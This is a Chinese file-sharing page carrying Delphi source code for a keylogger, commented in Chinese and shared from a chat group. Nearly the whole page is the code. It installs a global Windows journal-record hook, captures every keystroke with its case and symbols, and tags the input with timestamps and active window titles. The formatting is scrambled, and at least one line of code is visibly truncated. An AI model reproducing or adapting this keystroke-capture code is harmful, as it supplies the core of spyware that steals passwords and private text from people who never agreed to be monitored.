Delphi键盘记录

更新时间:2023-11-19 13:29:01 阅读量: 教育文库 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

QQ群里面的朋友发的一份DELPHI键盘记录源码,附带注解,还不错!

unit Unit1; interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

type

TForm1 = class(TForm) Memo1: TMemo;

StartLog: TButton; StopLog: TButton;

procedure StartLogClick(Sender: TObject); procedure StopLogClick(Sender: TObject); private

{ Private declarations } public

{ Public declarations } end;

var

Form1: TForm1; LogHook:HHook=0; LastFocusWnd:Hwnd=0; PrvChar:Char; HookKey:String; const

KeyMask=$80000000;

function

LogProc(iCode:integer;wparam,lparam:longint):lresult;stdcall; implementation {$R *.dfm}

function LogProc(iCode:integer;wparam,lparam:longint):lresult; var

ch:Char; //记录一个个按下的按键字符 vKey:integer; //表示按下了哪个键

FocusWnd:HWND; //当前活动窗口句柄

Title:array[0..255] of char; //窗口句柄的标题

str:array[0..12] of char; // 当8<=vkey<=46时,表示按下的键名,例如[退格]

time:string; //time表示操作的具体时间 //LogFile:TextFile; //记录保存到文件 PEvt:^EventMsg; //EventMsg的指针

iCapsLock,iNumLock,iShift:integer; //状态按键

bCapsLock,bNumLock,bShift:boolean; //是否按下状态按键 begin

if (iCode <0 ) then begin

Result := CallNextHookEx(LogHook,iCode,wparam,lparam); //调用钩子链表的下一个子程 exit; end;

if (iCode = HC_ACTION) then //设备动作 begin

PEvt := pointer(Dword(lparam)); //将lparam的指针传递给PEvt事件消息指针

FocusWnd:= GetActiveWindow; //获取活动窗体句柄 if (LastFocusWnd <> FocusWnd) then begin

if (HookKey <> '') then begin

form1.Memo1.Lines.Add(HookKey); HookKey:= ''; end;

GetWindowText(FocusWnd,Title,256); LastFocusWnd:= FocusWnd; Time:= DateTimeToStr(now);

Form1.Memo1.lines.add(Time + Format('Title:%s',[Title])); end;

if (PEvt.message = WM_KEYDOWN) then //if 事件消息为键下压操作

begin

vkey := LoByte(PEvt.paramL ); //取得16进制数最低位那个字节的内容

iShift:= GetKeyState(VK_SHIFT); //获取这三个键的状态 iCapsLock:= GetKeyState(VK_CAPITAL); iNumLock:= GEtKeyState(VK_NUMLOCK);

bShift:= ((iShift and KeyMask) = KeyMask); //判断它们的状态

bCapsLock:=(iCapsLock = 1); bNumLock:= (iNumLock = 1); end;

if ((vKey >= 48) and (vKey <=57)) then // 0<=char(vkey)<=9 begin

if (not bShift) then //如果没有按下Shift键

ch:= char (vkey) //数字字符 else begin

case vkey of //否则为以下字符之一 48:ch:= ')'; 49:ch:= '!'; 50:ch:= '@'; 51:ch:= '#'; 52:ch:= '$'; 53:ch:= '%'; 54:ch:= '^'; 55:ch:= '&'; 56:ch:= '*'; 57:ch:= '('; end; //end case end; //end else

HookKey:= HookKey + ch;

end; //end if ((vKey >= 48) and (vKey <=57))

if ((vKey >=65) and (vKey <= 90)) then // 'A'<=char(vkey)<='Z' begin

if (not bCapsLock) then //如果没有按下CapsLock键 begin

if (bShift) then //按下了Shift键 ch:= char(vkey) //大写 else

ch:= char(vkey + 32); //小写 end

else //按下了CapsLock键 begin

if (bShift) then //按下了Shift键 ch:= char(vkey + 32) //小写 else

ch:= char(vkey); //大写 end;

HookKey:= HookKey + ch; //将按键添加到按键字符串 end;

if ((vkey >= 96) and (vkey <= 105)) then //小键盘的0-9 if bNumLock then

HookKey:= HookKey + char(vkey - 96 + 48); ch:= 'n';

if ((vkey >= 105) and (vkey <=111)) then //+-*/ begin

case vkey of

106:ch:= '*'; 107:ch:= '+'; 109:ch:= '-'; 111:ch:= '/'; else

ch:= 'n'; end; end;

if ((vkey >=186) and (vkey <= 222)) then //特殊符号 begin

if (not bShift) then //没有按下Shift键 begin

case vkey of

186:ch:= ';'; 187:ch:= '='; 189:ch:= ','; 190:ch:= '.'; 191:ch:= '/'; 192:ch:= '''' ; 219:ch:= '['; 220:ch:= '\\'; 221:ch:= ']';

222:ch:=char(27); else

ch:= 'n'; end; //end case end else begin

case vkey of 186:ch:= ':'; 187:ch:= '+';

189:ch:= '<'; 190:ch:= '>'; 191:ch:= '?'; 192:ch:= '~'; 219:ch:= '{'; 220:ch:= '|'; 221:ch:= '}'; 222:ch:= '\ else

ch:= 'n';

end; //end case

end; //end if else

end; //end if ((vkey >=186) and (vkey <= 222)) if ch <> 'n' then //剔除未规定字符 HookKey := HookKey + ch;

if ((vkey >= 8) and (vkey <=46)) then begin

ch:= ' '; case vkey of

8:str:= '[BACK]'; 9:str:= '[TAB]'; 13:str:= '[ENTER]'; 32:str:= '[SPACE]'; 35:str:= '[END]'; 36:str:= '[HOME]'; 37:str:= '[LF]'; 38:str:= '[UF]'; 39:str:= '[RF]'; 40:str:= '[DF]';

45:str:= '[INSERT]'; 46:str:= '[DELETE]'; else

ch:= 'n'; end;

if (ch <> 'n') then begin

HookKey := HookKey + str; end; end;

end; //end iCode= HC_ACTION

result := CallNextHookEx(LogHook,iCode,wparam,lparam); end;

procedure TForm1.StartLogClick(Sender: TObject); begin

if (LogHook = 0) then LogHook :=

SetWindowsHookEx(WH_JOURNALRECORD,LogProc,HInstance,0); //调用API HOOK end;

procedure TForm1.StopLogClick(Sender: TObject); begin

if (LogHook <> 0 ) then begin

UnHookWindowsHookEx(LogHook); //卸载HOOK LogHook:=0; end; end; end.

本文来源:https://www.bwwdw.com/article/e7xv.html

Top